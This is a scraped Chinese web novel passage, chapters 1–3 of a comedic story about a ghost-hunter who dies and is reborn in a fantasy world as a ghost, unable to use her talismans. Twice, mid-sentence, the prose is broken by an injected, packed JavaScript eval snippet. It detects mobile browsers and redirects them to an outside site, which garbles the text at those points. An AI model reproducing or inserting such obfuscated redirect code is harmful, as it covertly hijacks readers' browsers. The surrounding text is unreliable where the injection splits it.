《厉鬼,但绑定了功德系统》 1. 见鬼 “桃木剑、黄符、八卦镜……什么年代了,抓鬼还用这个?” “来,哥给你看点高端的。这个叫抓鬼相机,别看外表跟普通拍立得似的,只要对着鬼魂按下快门,就能把鬼拍进相机,封印在照片里。” “还有这个,吸魂器,原理跟吸尘器差不多。按下开关,就能把鬼吸进去,还能调档,一档不行用二档,二档不行用三档,就没它收不了的魂儿!” “还有这个,紫外线手电筒……” “差不多得了彪哥,咱又不是搞带货的。” 深夜,城郊废弃游乐园门口,知名探灵主播彪哥带着一名助手,颇为自得地给一个女人介绍着自己的探灵装备。 女人看起来二十多岁,穿着款式最普通的长袖卫衣和牛仔长裤,头戴兜帽,帽绳紧束,口罩遮面。 这样的装扮与盛夏闷热的天气多少有些不搭。 几分钟前,彪哥刚开播,正要进入乐园时被女人叫住了。 她自称是驱鬼人,想和他们结伴,一同进去。 彪哥见女人左手攥着桃木剑,右手抱着八卦镜,斜挎的帆布包里还露出半张黄符,忍不住调侃道:“道士啊?叫什么名字?” 女人认真答道:“我叫夏月明,并未在道观修行,不是道士。” 彪哥:“那就是野生道士呗。” 夏月明:“……” 弹幕一片“没毛病”飘过。 受弹幕“给这女的上一课”的气氛鼓动,没顾上领会助手疯狂暗示的眼神,彪哥就一口答应了女人的请求:“行,那就带你进去,看看鬼是更怕我彪哥,还是更怕你这抓鬼的。” 助手疯狂使眼色的原因很简单——他们是在装神弄鬼。 他们做探灵主播三年了,基本上一次真鬼也没见过,所经历的灵异事件,都是他们提前安排好的。 直播的时候可以灵活地配合镜头转换带节奏,搞气氛,穿帮概率不大。 但实地观察就不一定了。 贸然带陌生人去现场,风险实在太大。 不过很快,他就知道自己的担忧完全是多余的。 一进乐园,夏月明就紧紧攥住手中桃木剑护在身前,一闪而过的人影、突然倒下的垃圾桶……黑暗中的任何动静都能把她吓一跳。 气氛拉满,连直播间弹幕都顺带着活跃起来了。 一行人探索到儿童影院的区域时,夏月明更是将桃木剑与八卦镜同时护在身前,表情凝重,全身戒备。 彪哥心想,这小道长演技还挺有层次感,我也不能认输。 下一秒就看见弹幕各种“卧槽什么玩意儿”“弹幕护体”“无意冒犯”“小东西真别致”飘过。 原来刚才转换镜头时,无意间拍到了影院的座位上,坐着三个娃娃。一男一女一儿童,像是一家三口。 而他们刚进来时给观众展示的场景中,那个位置似乎是空的。 彪哥忍不住在镜头拍摄不到的地方,朝助手竖起大拇指来。每次探灵的机关,都是这位助手小哥设计的。 但助手此刻却是满脸疑惑:哪里来的娃娃? 他越想越头皮发麻,正犹豫要不要告诉彪哥的时候,就看见彪哥伸出手,要去抱那小娃娃。 为了保证直播时的第一反应尽量真实,助手对现场的布置方案一般不会告诉彪哥。 而彪哥的直播风格主打一个“彪”字,特色就是不管多吓人的鬼,都去硬刚,刚到最后逆转局势,追着鬼跑。 因而尽职的彪哥拿捏起自己的人设,跟那小娃娃杠了起来。 娃娃的眼珠子诡异上翻,死死地望向彪哥。 彪哥:“哎哟呵,这一看就是个怨气鬼,还敢瞪我。” 说着他就伸手去抓那娃娃,嘴上还不饶娃地跟旁边的两个娃娃说:“孩子淘气就得揍,你们舍不得揍,我帮你们揍。” 虽然弹幕有一部分是在刷害怕,但更多的还是“不愧是你”“社会你彪哥,专教鬼做人”和“666”。 见这架势,夏月明也安心了几分。 这三个娃娃中明显都附着了怨念很强的厉鬼,彪哥却能如此自如地应对,想来是有真本事傍身的。 但她悬着的一颗心刚刚放下,就知道自己放早了。 彪哥手指接触到鬼娃娃的一瞬间,娃娃的眼珠子突然掉在了地上,咕噜咕噜滚到彪哥脚边。 彪哥下意识弯腰将眼睛捡起来,再一抬头就看到娃娃黑洞洞的眼眶,莫名觉得瘆得慌。 探灵这么多年,他第一次有了真实的恐惧感。 这时,阴森的影院中响起了稚嫩的童声:“嘻嘻嘻……你喜欢我的眼睛吗?那我们来交换吧。” 那声音透着说不出的诡异,在场众人皆是头皮发麻。 眼看娃娃踮起小脚、伸出小手就要去挖彪哥的眼珠子。 道具小哥终于忍不住惊喊出声:“彪哥快跑,这不是道具!” 不是道具??? 消化完这四个字只用了不到一秒,彪哥的全身已被冷汗浸湿。 顾不上管弹幕在说些什么,也顾不上镜头走位合不合适,彪哥转身就朝着外侧过道跑去。 但他刚跑出两步,就被看不到的东西绊倒,紧接着感觉有更多重量压在了身上。 那看不见的东西在夏月明眼中却是清晰有型的,这间影院不只有三只鬼,除了附着在三个娃娃身上的鬼之外,椅子底下还藏着一只,方才就是她抓住了彪哥的脚腕。 紧接着,三个鬼娃娃一起跳到了彪哥的背上。 见助手愣在那里不知所措,夏月明急忙提醒道:“抓鬼相机!” 被吓得腿软的助手这才想起来自己身上引以为豪的抓鬼神器来。 定了定神,他拿起挂在脖子上的相机,对着鬼娃娃按下快门。 但从相机上方滑出的相纸上,只有被吓得面目狰狞的主播。 那些鬼半点惧意也没有,甚至在他拍摄的时候,还对着镜头比起了剪刀手。 场面有些尴尬,众人又将希望寄托在了吸魂器上。 助手深呼吸,努力让自己镇定下来,将背在背后的小型吸魂器打开开到最大档,吸筒对准了鬼的方向。 几秒钟后,除了灰尘外什么也没吸走。 站在彪哥背上的鬼魂疑惑挠头,面面相觑。 像是在互相询问: “你叫的保洁吗?” “不是我。” “也不是我。” “那就是他叫的。” 鬼妈妈黑溜溜的眼珠子看向彪哥,温柔地笑着说:“你人还怪好嘞。”说着声音又忍不住癫狂起来:“吃起来肯定很美味!” 助手和彪哥这下彻底崩溃了。 “你图省钱,买的什么山寨产品啊!” “我哪知道我们会遇到真的鬼啊!” 确实,抓以前的山寨鬼,用山寨道具就够了。 鬼娃娃跳到彪哥面前,朝他伸出棉乎乎的小爪子。 彪哥绝望地闭上了眼睛。 探灵三年,头一回翻车,没想到不是被观众拆穿打假,而是撞见真鬼了。 多少有些荒诞。 但预想中的痛感迟迟没有到达眼皮,彪哥忍不住好奇地睁开眼睛。 最先看到的是几道金光。 在金光的正中央,正是他们在门口遇见的怕鬼小道士夏月明,她被轮转的、闪着金光的七道黄符包围着。 手中木剑挽花捏了个决,七道黄符便顺着剑尖的轨迹齐齐飞出,尽数贴在了鬼魂身上。 座椅下的鬼一张,附在娃娃身上的鬼各有两张。 一张贴在娃娃上逼出鬼魂,另一张贴在脱离娃娃身体的鬼身上,精准无误。 彪哥感觉身上的重量消失了,夏月明冲着助手道:“带他离开。” “谢、谢谢你……野生道长!” 没想到在最危险的时刻救了他们的,竟是刚才被他们嘲笑的胆小道士,彪哥心里很是惭愧。 助手扶起彪哥,二人顾不上腿软,疯狂朝外跑去,连正开着直播的手机也没拿。 座椅下的手机从彪哥摔倒开始,摄像头就对着椅子下面了,什么也没拍到。但黑漆漆的画面配着细思极恐的对话和各种诡异动静,所制造的恐惧感远远超过了彪哥此前的每一次直播。 最后彪哥和野生道长的对话,也是信息量颇多。 一时间害怕的、好奇的、怀疑的……各种弹幕淹没了手机屏幕。 夏月明捡起手机,关掉了直播。 随后收起装备,哆哆嗦嗦走到了四只鬼跟前。 ——虽然抓鬼的本事是真的,但对鬼的恐惧也是真的。 她从包里拿出一张照片,蹲下身来给四只鬼看。礼貌询问:“请问你们见过这个人吗?” 厉鬼们听她声音颤抖,一时间有种刚刚只是幻觉,自己仍然占着上风的错觉。 但身上实实在在的灼烧感提 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椅子下的女鬼摇摇头,可怜兮兮答道:“没见过,我们昨天才到这里。” 知道照片中人对夏月明很重要,她不敢撒谎。 但先前附身在娃娃身上的小孩鬼却眨了眨眼道:“我见过我见过!” “在哪里?什么时候?” 小孩鬼皱起眉头:“你这符贴的我好难受,想不起来了。” 夏月明知他是在讨价还价,把收起的八卦镜又拿了出来,才帮他揭掉了脑门上的符。 但那小鬼着实狡猾,在符被揭下来的一瞬间,黑色雾气自他身后翻涌而出,掐住夏月明脖子的同时,还吹掉了另外三只鬼额头上的定身符。 妈妈鬼笑着摸了摸小孩鬼的脑袋:“不愧是我儿子,真有本事。” 藏在椅子下的女鬼顺着椅背爬起来,像蛇一样软若无骨的身子缠绕在夏月明身上,颇为失望地叹道:“两荤一素的大餐,只剩这一素了,可惜,可惜。” 夏月明以手捏决,想要启动八卦镜,却忽然觉得全身都没了力气。 镜子落在地上,发出闷响。 那女鬼见状大笑,媚声劝道:“别挣扎啦,照片上的人也被我吃掉啦,你到我肚子里就能见到他了。”接着伸出长舌将夏月明脸上的口罩舔掉:“让我来品……” 余下的话因陡然见到夏月明口罩下的真实容颜而被咽了回去。 她的大半张脸上,都长着瘆人的黑斑,一直蔓延到脖子底下被衣服遮住的地方。 “你是怎么活到现在的?” 外行人不懂,但女鬼却是知道的,那些黑斑并非胎记,而是大片大片、渗入血肉骨髓的诅咒。 好似看到发霉的食物一般,女鬼速速朝着远离夏月明的地方挪去。 用黑雾掐住夏月明的小孩迷茫地抬起头:“姨姨挑食!怎么办呀妈妈?” 但很快他就不必担心了,因为他的姨姨再也没办法挑食了。 零点一到,夏月明身上的黑斑突然全部朝着脸颊聚集,而后脱离她的身体,化为了形貌朦胧的黑色实体。那黑色实体张大嘴巴,将前面一家四口的鬼连带着小孩鬼放出的黑雾,全部吸入腹中。 他满意地舔了舔嘴唇,而后将视线移到了夏月明身上,抬起手来,一点一点将夏月明的灵魂抽离了身体。 “十年,十年啊……我等这一天——十年了!!!” 他的声音透着要吞噬一切的邪恶,夏月明想逃,但灵魂未完全脱离身体,只能在原地做无用挣扎。 “别挣扎了,这都是你爷爷欠我的债,是你爷爷把你卖给了我哈哈哈哈!” “爷爷?你知道我爷爷在哪儿吗?” “刚刚那女鬼不是说了吗?那糟老头子被她吃掉了哈哈哈哈哈……” 在黑色实体的癫狂笑声中,夏月明突然想起爷爷对自己的叮嘱。 “月儿呀,看到自己的时候,就摸摸玉佩。” 以前她不懂话中含义,但现下她的身体就躺在自己脚底下,她立刻就明白了。 爷爷说的,正是这种情况。 或许他早就料到了今天这一切。 来不及多想,第一次见到自己没有黑斑的身体的夏月明用尽最后力气,摸到了包中的玉佩。 触碰的瞬间玉佩发出明亮却不刺眼的青色光芒,竟振开了诅咒。 这是夏月明在此世界最后的记忆。 2. 开局俩美男 似是夏日深夜,气温悄然下降,室内空调却浑然不觉,仍卖力工作着,与骤冷的空气来了个里应外合。 冷意浸透肌肤,就要侵入骨髓。 夏月明下意识伸手,想把被子捞起来继续睡。 纤细手指摸索了半天也寻不到被子的一角,反而听到有人在叽里咕噜说些什么。 她忍不住皱眉,终于不舍地从睡梦中醒来。 刚一睁眼,便被吓得睡意全无。 眼前是一间宽阔阴暗的古旧厅堂,家具都被移放在墙边,积着厚厚的尘土,房顶坠着翻飞的纱幔和巨大蛛网。 她就躺在房间最中央的空地上,身旁围了圈燃着鬼火的蜡烛,地上画着奇怪的法阵。 一位老妇人伏身跪在她跟前,见她醒了,老人欣喜地仰起头来,用一双浑浊的眼殷切地望着她。 她赶紧闭上眼睛。 ——起猛了,看见老太太给自己做法,再睡会。 趁闭眼的功夫,她努力镇定下来,在脑海中找出时间线上最后的记忆。 这才想起自己已经死了。 所以……面前这老人或许是孟婆? 再睁眼时,那老人似是以为她不愿醒来,咬咬牙从怀里掏出一对珠子来,颇为殷勤地放到她跟前。 两个珠子一黑一白,落地瞬间,像是精灵球一样绽放光芒。不过黑白珠里放出的不是神奇宝贝,而是两个身形修长、容貌俊美的男人。二人年龄差不多大,都是二十岁左右,一个清冷孤傲,黑衣墨发,一个典雅贵气,白衣银发。 一黑一白两个帅哥瞬间便如青蛇缠法海一般,一前一后缠在刚坐起身的夏月明身上,在她耳边缠绵呓语:“主人,请尽情吩咐奴。” 温柔清朗的声音左右夹击,宛如音质极好的耳机中传来的左右声道一般,在她脑海中汇合共振,十分好听。 夏月明忍不住打了个寒颤:对上了,孟婆和黑白无常。 不过这黑白无常可太不正经了,“主人”、“奴”……这奇怪play的既视感,一度令她怀疑这是不是自己做的春梦。 她狠狠掐了下自己的手腕。 嗯,痛感明显。可惜,不是春梦,她的人生确实已经完结撒花了。 虽然是纸花。 那疑似白无常的优雅帅哥见她掐了下自己,瞬间露出极为心疼的神情,白皙修长的手指缓缓抓住她的手腕,轻启薄唇,温柔地朝着被掐的地方吹着凉气。 边吹边说:“主人为何这样伤害自己?奴心疼。” 疑似黑无常的冷酷帅哥似是不屑白衣帅哥的谄媚举动般,嫌恶地冷哼了一声,而后又挣扎着极不自然地补充了一句:“奴也一样。”一副被迫营业的样子。 夏月明有些忍俊不禁。 没想到现在的地府也是与时俱进,开发出了比某火锅连锁店还要热情的服务。 就是这热情有点跑偏,显得色情了点。 “不好意思你们可以别这样吗?我有点……黄、惶恐。” 夏月明努力挤出一个表示友好的微笑,将二人推远了一些。 白衣帅哥眉头轻蹙,不舍地道:“奴知道了。” 黑衣帅哥又轻蔑地冷哼了声,想借此机会说出一句比白衣帅哥更有水平的话,思索了一番却脑袋空空,只好颇有些不服气地又跟了句:“奴也一样。” 夏月明松了口气。 为了尽快结束这奇怪的迎客仪式,她急忙询问那疑似孟婆的老人:“请问我接下来应该怎么做?” 也没看到哪里有锅,不知还要不要喝孟婆汤了。 老人闻言,眼中露出惊喜之色,忽地跪地伏身,扯着几近嘶哑的嗓子高声道:“信徒林蔓,恳请老祖宗助我破阵!” “破阵?” 老祖宗?? “怪我一时糊涂,养出个吃里扒外的东西来,竟勾结朝廷缉灵司,在山中设了伏灵阵。正赶上我修炼复颜术失败被反噬,法力所剩不多,难以破阵……便心存侥幸,用师父传下来的阵法想将您唤醒,没想到天不亡我,还真成功了。请老祖宗助我一臂之力!” 听到这里,夏月明才意识到自己之前是先入为主,搞错背景了。 除开一位婆婆和黑白衣服的设定外,这里和地府还是差挺远的。 二十一世纪,人死后的去处除了地府之外……最热门的便是穿越了。 朝廷、复颜术、老祖宗…… 看来她是穿越到了一个比自己原来世界还要古老玄幻的世界。 可为何会穿越呢?难道是自己在灵魂离体时,摸了那块玉佩的缘故? 这……会是爷爷原本的意愿吗? 暖风拂面,夏月明知道现在很难找到答案,便想先确定一件事情。 刚刚掐手腕的时候她就注意到,自己身上穿的,不是之前那件卫衣,变成一件与当下场景十分匹配的古风黑袍。 她将窄袖挽起,看到自己的胳膊竟是洁白无瑕,又匆忙兜开衣领去看胸口,干干净净。原先几乎附着在她大半个身体上的黑色咒印全都不见了。 果然,是魂穿。 而且老太太称自己为被唤醒的老祖宗,一听这原主就是个了不起的人。 对穿越者来说,一张好的身份牌可以算是天胡开局了。 若这是爷爷的意愿,那么他会不会也在这个世界呢? 她偷看自己胸口的动作惹得黑衣帅哥喉结一动,脸红侧头,白衣帅哥装模作样地用手指捂住眼睛,指缝却张得比眼睛还大。 经老人一番解释,她终于明白,这两位帅哥是老人为了求自己帮忙而献上的祭品,学名叫恋鬼,相当于鬼身的男宠。 她曾在爷爷的捉鬼笔记中看到过类似设定,对有的鬼施以契约之术,便可让鬼成为人的伙伴,对人忠诚,听从号令,想来这恋鬼也是差不多的原理。 虽然在鬼怪的世界中,开局俩男宠听着用处不大,但总归是聊胜于无。 至此,她也后知后觉地意识到,眼前这婆婆也是鬼,因为照理来说,人是不用惧怕伏灵阵的。 而她在自己的世界中,一眼便能看出对方是人是鬼,到这边来却半点感知不到,这说明对方修为至少在她之上。 作为老祖宗的她若是无法拿出应有的实力,这天胡开局的身份牌就很容易把她自己搞糊。 幸而根据她曾对穿越小说的简单了解来看,穿越后过得好不好,原主身份并非最重要的,信息差才是。 自爷爷失踪后,她就一直在修习驱鬼灵术。虽未到爷爷的境界,但应付一般鬼魂、阵法也绰绰有余了。 若这些现代灵术理论与此世界是相通的,甚至是相对先进的,便可以成为这个世界金手指一般的存在。而验证的关键,就在老人让自己破解的阵法上。 若她可以轻松破解那阵法,则金手指成立,或许还可以凭技术直接进入设置阵法的缉灵司,如此一来有了公职身份傍身,生存也好寻人也罢,都会更方便一些。 想到这里,她站起身来,有些期待地问:“那个法阵在哪里?” “请跟我来。” 夏月明抬腿迈步,在老人身后摔了个狗啃泥。 ——在意识到身边三个全是鬼的时候,她已经开始腿软。 黑白二鬼急忙上前,想将她扶起。 “主人,奴来帮你。” “奴也帮。” “不用!”他们越是靠近,她腿抖得越是厉害。 她的急声阻止被他们当成了训斥,有些不知所措。她又缓和语气,冷静道:“你们退后,我自己来。” 黑白二鬼乖乖后退一步,眼中流露出欣赏。 ——真是要强的主人啊。 夏月明深呼吸,努力克制着从潜意识里冒出的恐惧,在黑白二鬼仿佛写着“加油”二字的殷切目光中站起身来,又对疑惑地望着她的老人露出一个颇为淡定的笑容,道:“我没事,请继续带路。” “好。”老人并未起疑,转身继续带路。 黑白二鬼意识到主人不喜欢肢体接触,便再无越界动作,只乖乖跟在夏月明身后。 出门时他们各自变出一把伞来,要为她撑伞,只是二人谁也不愿让步,两个伞边在她头上较劲,根本遮不住什么。 幸而此刻并未下雨,她也就不甚在意了。 走出旧厅堂,眼前是一大片树林,视野瞬间开阔了起来。此时正是黄昏时,太阳像个煎蛋黄一样,不浓不淡地挂在远山边,瑰丽的晚霞与她幼时在爷爷家看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866727|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的美丽并无二致。 记忆中与这样的风景所匹配的,应是一天中最为舒适的气温,可她此刻却觉得有些燥热难受。 还未细想,便见头顶有个鸟笼一般的金光穹顶,正不断朝此处收缩。 老人道:“便是此阵了,老祖宗。” 话音刚落,一位面容俊秀,穿着黑白八卦道袍的少年便从林中走出。 正是布阵之人。 少年面带爽朗笑容,声音也明亮清澈,充满朝气。 “在下李灵恪,缉灵司先行队队长,有什么遗愿可以告诉我……当然,我也只是听个乐儿,哈哈哈。” 李灵恪欠揍的笑声气得老人忍不住发功,运起两团黑火便朝他胸口砸去。 但他身体十分灵活,轻轻一跃,便跃至了已收缩到近处的穹顶之外。 老人功法被那穹顶反弹回来,差点伤了自己。 黑白二鬼同时朝前迈步,一左一右将夏月明护在中间。 有种不管老人死活的忠诚。 李灵恪落地之处,还站着一名少年和一名少女。那少女模样娇憨活泼,冲他们做了个鬼脸:“别挣扎了,灵恪是我们这一届的最强做阵人,永元朝第一阵法术士的亲传弟子。遇上他的阵法,等死才是最明智的选择。” “阿浅你这么说我都不好意思了。”李灵恪难为情地挠挠脸,嘴上是谦虚的话,腰板却挺得更直了些,接着又觉得哪里不对,纠正道:“她是鬼,已经死了,就不能说等死了。” “对哦,那该说什么呢?等活?等灰飞烟灭?还是……”少女想来想去也没个思路,只好求助身旁另一名少年:“宁渊师兄,你文才好,你帮我想想有没有更恰当的词儿?” 名唤宁渊的少年容貌更是俊朗出尘,虽与身旁二人年纪相仿,看着却更成熟冷淡一些。他并未接话,只不动声色地朝旁边挪了挪身子,用肢体语言表达了“我跟他们不熟”的含义。 老人气急,吐了口鲜血,加上先前修炼邪功被反噬,已然站不稳了。夏月明急忙上前将她扶住。 老人虚弱道:“老祖宗,靠你了。” 夏月明微笑点头,胸有成竹地看向站在金光粼粼的穹顶之外,三名意气风发的少年,内心已自作主张地将他们当做未来同事了。 因为此三人视作绝招的这个阵法,在她爷爷的笔记中,属于是基础阵法,连解阵方法都只用一个“略”字带过了。就好像课本上那些最简单的题目一样。 这意味着在这个世界,她苦学多年的各种灵术,的确可以成为金手指一般的存在。 夏月明将老人托付给黑白二鬼,上前一步,确定了阵眼所在后,转头询问:“有符纸吗?”。 身后三只鬼面面相觑,怀疑自己是听错了。 老人:“符纸?要那臭道士的玩意儿做甚?” 夏月明道:“解阵。” 老人更是一头雾水,为难道:“老祖宗,我们是鬼啊。” 身后的黑白二鬼齐齐点头,而后又齐齐摇头。 夏月明这才意识到,自己刚才的问题,就好比问狗有没有带打狗棒,蚊子有没有带蚊香,苍蝇有没有带苍蝇拍…… 便在这时,站在阵外的灵秀少年李灵恪从口袋里掏出几张符纸来,丢给了夏月明,眯着眼热心笑道:“符纸啊,我有好多呢。” 名唤阿浅的少女早已习惯李灵恪不按套路出牌的性格,但仍是被他这一举动惊到了,想伸手去追符纸却抓了个空,慌道:“灵恪,你怎么把符纸给她了呀?” 李灵恪双臂抱胸,自信道:“放心阿浅,借她一百张符纸她也用不了。” 他话音刚落,便听夏月明道了声谢,而后双手捏了个十分标准的赋咒诀,将符纸悬空,颇有气势地在符纸上画起符图来。 李灵恪和阿浅同时不可思议地揉了揉眼睛。 李灵恪:“我没看错吧?!” 夏月明画完一挥手,四张符咒便齐齐冲向穹顶中心,而后……在众人不可思议的目光中轻飘飘地落在了地上,没起任何作用。 “怎么会……笔记里明明是这样画的,是哪个步骤错了吗?” 夏月明正疑惑之际,便听见李灵恪拍掌大笑起来,“阿浅你看,是鬼画符诶!” 3. 老鬼画符 鬼画符…… 鬼、画符? 这一刻,夏月明忽然有种强烈不详的预感。从睁眼到现在,种种被忽略的不对劲的地方,都被一个关键线索串联起来了。 是了,是了…… 怪不得往常她能很快分辨出人和鬼,今天却不行; 怪不得一出门便觉燥热难受; 怪不得所画符咒无法生效…… “原来的确是魂穿……不附体的那种。” 也就是说,她一个抓鬼的,穿越成鬼了。 夏月明有些哭笑不得。 她所学的所有驱鬼灵术的前提都是:需以生灵之力来启动。可世间万物(甚至包括跳蚤和蟑螂)都有生灵之力,唯独鬼魂没有。 真是气人,哦不,气鬼。 这下她颇为期待的金手指,成了驴子头上的萝卜、老板饼里的奖金,公司厕所的wifi……除了让人心痒添堵之外,没有任何作用。 “老祖宗?”老人搓搓手,试图跟夏月明要个说法。 方才她见夏月明一顿操作猛如虎,还以为自己的老祖宗真会点儿什么邪门本事。 可再一看散落一地的符纸和仍在收缩的穹顶,又很是替老祖宗尴尬。 她不会不知道鬼魂不能用生灵之力吧? 不应当啊……这是数百年前就已被发现的天地法则,怎会有鬼不知。 可她方才为何那样自信? 夏月明尴尬一笑,虽然很快就要再死一次,但尚有一线生机的时刻,她还是不想暴露身份,以免给未知的将来带去不必要的麻烦。 她清了清嗓子,一本正经道:“输人不输阵,我吓唬他们呢。” 老人:“……”一瞬间有点理解那些欺师灭祖之徒的心境了呢。 老人深呼吸平复心情,想起老祖宗刚刚确实是成功给符纸赋了咒,并非全是虚张声势,沉吟片刻,又问:“老祖宗,你懂这阵法吗?” 夏月明道:“嗯,我刚刚也不全是唬人。这阵壁能把从内部破阵的力量弹回,所以不能硬来,必须先把阵法的反弹功能解除。我刚才画的也是一种反弹符,把阵法的反弹反弹回去,就等于没有反弹,这样就可以从内部暴力破阵了。” 老人的思绪跟着夏月明的解释弹了好几个回合才弹明白,正犹疑这方法是否可行,便听见做阵的少年嗓音嘹亮地惊叹道:“妙啊!竟然还能这样解阵,我怎么就没想到呢?你这解阵之法叫什么名字?谁教你的?” 好嘛,一句话直接肯定了夏月明的解阵方案。站在李灵恪身侧的两名少年欲骂又止,一副摆烂了的姿态:算了,习惯了,随他去吧。 夏月明愈发觉得这少年十分有趣,笑着答道:“解阵之法是我自己想的。” 灵感嘛,自然是来源于小时候听同学拌嘴—— “你是猪!” “反弹!” “反弹无效!” “继续反弹!” …… “名字……”夏月明稍微想了下,道:“叫负负得正法。” 李灵恪与夏月明身后的黑白二鬼一同用没有被知识污染过的清澈眼神,崇拜地看着夏月明:“好名字!” 黑白二鬼察觉到对方和自己发出了同样的赞叹,互相瞪了一眼,然后嫌弃地别过头去。 又想到此刻共同的敌人明明在对面,他们又一起补给李灵恪一记眼刀。 老人却是沉默了,浑浊的眼被一半眼皮遮住,似在计较什么。 其实她并非生人所化之鬼,而是鬼修百年的妖,虽然身上鬼气缭绕,生灵之力却比一般凡灵还要多。 那小道长方才的话算是直接肯定了老祖宗的解阵之法,若她以生灵之力来助老祖宗一臂之力,破阵自是不难。 难的是破阵后还要与那三名少年斗法,到时她已耗尽气力,身边这三个……不知靠不靠得住。 斜阳催暮景,树影掩残晖。 夏月明将可能破阵的办法都试了一遍,皆是无用,遂决定当场投敌……阿不,是提前应聘。 “喂,你叫灵恪吗?我们商量商量好不好,除了刚才的负负得正法,我还知道很多有趣的阵法,如果你们愿意放了我们,我可以做你的使灵,把这些阵法都告诉你们……” 使灵是对与人类缔结契约的魂灵的称呼,夏月明不知这个世界有没有这个说法,正犹豫要不要解释一下,便看到李灵恪露出像小狗狗看到骨头后,摇着尾巴跃跃欲试的表情:“真的吗?” 夏月明微笑点头:“当然。” 此番对话一出,人鬼双方的队友都开始凌乱。 人怕猪队友,鬼怕乱辈分。 老人急声道:“老祖宗,使不得!” 专注当捧哏的阿浅也慌忙站了出来:“喂,狡猾的女鬼,你别想骗我们!你又不是第一天来到这世上,懂阵法的鬼,多么稀奇呀,若你真有本事,我们从前为何没有听过你的名号?” “对哦!”李灵恪一听恍然大悟,圆溜溜的眼睛像一只警犬一样,十分警觉地瞪着夏月明,只等她给出一个合理解释。 “……”夏月明一时语塞,她对这个世界不太了解,若是撒谎很容易被拆穿,犹豫了一下,决定坦诚相告:“实不相瞒,我真的是第一天来到这世上。” “嘁~”此话一出,人鬼两方都忍不住发出不屑的嘘声。 李灵恪双臂抱胸,委屈巴巴地道:“喂!你编瞎话也不编点儿可信度高的,欺负我脑子不好吗?” 夏月明:……一时间竟不知该如何反驳。 良久后,夏月明才僵硬地笑着,道了声:“抱歉。”虽然投诚失败,但不知为何,心底竟有几分庆幸。 老人和黑白二鬼也默默松了口气,要是他们的老祖宗和主人真的给一个傻小子当使灵,那他们从此以后在鬼界就再也抬不起头了。 穹顶已然近在咫尺。 为了不让夏月明先被穹顶烧伤,黑白二鬼难得没有拌嘴,默契地将她护在中间。 白衣男鬼仔细地将夏月明从发顶到下巴尖儿都瞧了一遍,似要将她的模样印刻在心里。而后露出温柔笑意,坚定道:“对不起,主人,是奴太过无用,不能护您周全。奴想最后,再为您做点什么。” 夏月明听他所言,心中悲凉,以为他是决定要殊死抵抗,生出几分敬意。 黑衣男鬼也对白衣男鬼投去了十分难得的赞许目光,捏紧拳头摆起架势,做好了与他一同战斗的准备。颇有气势地喊道:“奴也一样!” 见此情景,老人忍不住扬起唇角,点了下头。 没用的老祖宗也是祖宗,烦人的恋鬼也毕竟是鬼界珍品,就这样放弃,难免还是有点可惜。 还是破阵吧。 她正要开口,便看见白衣男鬼用修长的手指轻轻撩开了自己宽松的衣领,露出完美的胸肌,邪气地笑着对夏月明道:“主人,奴会让你快活地湮灭。” 众人:“……” 黑衣男鬼脸色一沉,抡起的拳头直接反手一挥,和白衣男鬼的脸皮来了个亲密接触。 老人无语地白了他们一眼,觉得自己方才为他们动摇了片刻真是可笑。 这三个现眼鬼,除了看着心烦外,真是一点儿也指望不上。还是专心休养,争取多恢复一些灵力,扛过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866728|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这穹顶吧。虽然会被阵法灼烧鬼身,承受剥皮挫骨之痛,但妖身仍能存活。到时寻个破绽独个逃走,还落得清净。 于是老人闭目静心,开始打坐挂机,一副封心锁爱,谁劝也不好使的架势。 但缉灵司的三位小少年可不会允许她静下心来。他们在阵外吃瓜看戏,好不热闹。 李灵恪道:“好可惜,闵大人看不到这么精彩的鬼画符。阿浅,你可看仔细了?回去我们一起演给闵大人看。” 阿浅认真点头:“嗯!那我来演那个衣着怪诞的画符女鬼,你来演小白脸男鬼,宁渊来演臭脸男鬼,正合适。” “没问题!”李灵恪把手搭在眼睛上,兴奋地瞪大了双眼:“接下来我就盯着那个白衣服的学,宁渊,你也要跟着黑衣服好好学哦,再细微的表情和动作都不能放过。” 宁渊不愿意搭理他。 李灵恪两眼放光,崇拜惊叹:“哇!不愧是宁渊,这么快就入戏了!阿浅,我们也不能输,要仔细观察,好好模仿哦。” 阿浅重重点头:“嗯!” 宁渊黑脸。 “诶?灵恪,不对不对……”阿浅学着李灵恪的样子睁大眼睛仔细观察,却突然发现了一个盲点:“那边还有个打坐老鬼,谁来演呀?” 被点名的打坐老鬼眉头一皱,竖起了耳朵。 便听见李灵恪十分机灵地回了句:“笨啊阿浅,那老鬼快要不行了,用不着演她。到时候只要撒一把土,演出她灰飞烟灭的样子就好啦。” 阿浅听完恍然大悟:“哦~灵恪你可真聪明!” “咔嚓咔嚓……” 打坐老鬼为了克制怒火,猛咬后槽牙。 这两个小鬼好像很擅长激怒她。 “咔—嚓—咔—嚓——” 不行,忍不了了! 怒火攻心,越想越气,打坐老鬼再也没心思打坐了。横竖都是死路一条,但决不能让这俩毛头小子得意。 本打算摆烂只苟住自己她突然改变了主意—— 破阵!!! 此时穹顶已经缩小到孙悟空给唐僧画的避魔圈那么大了。 老人站起身来,将散落在地上的符纸捡起,问夏月明:“这符图,照着画就能解阵是吗?” 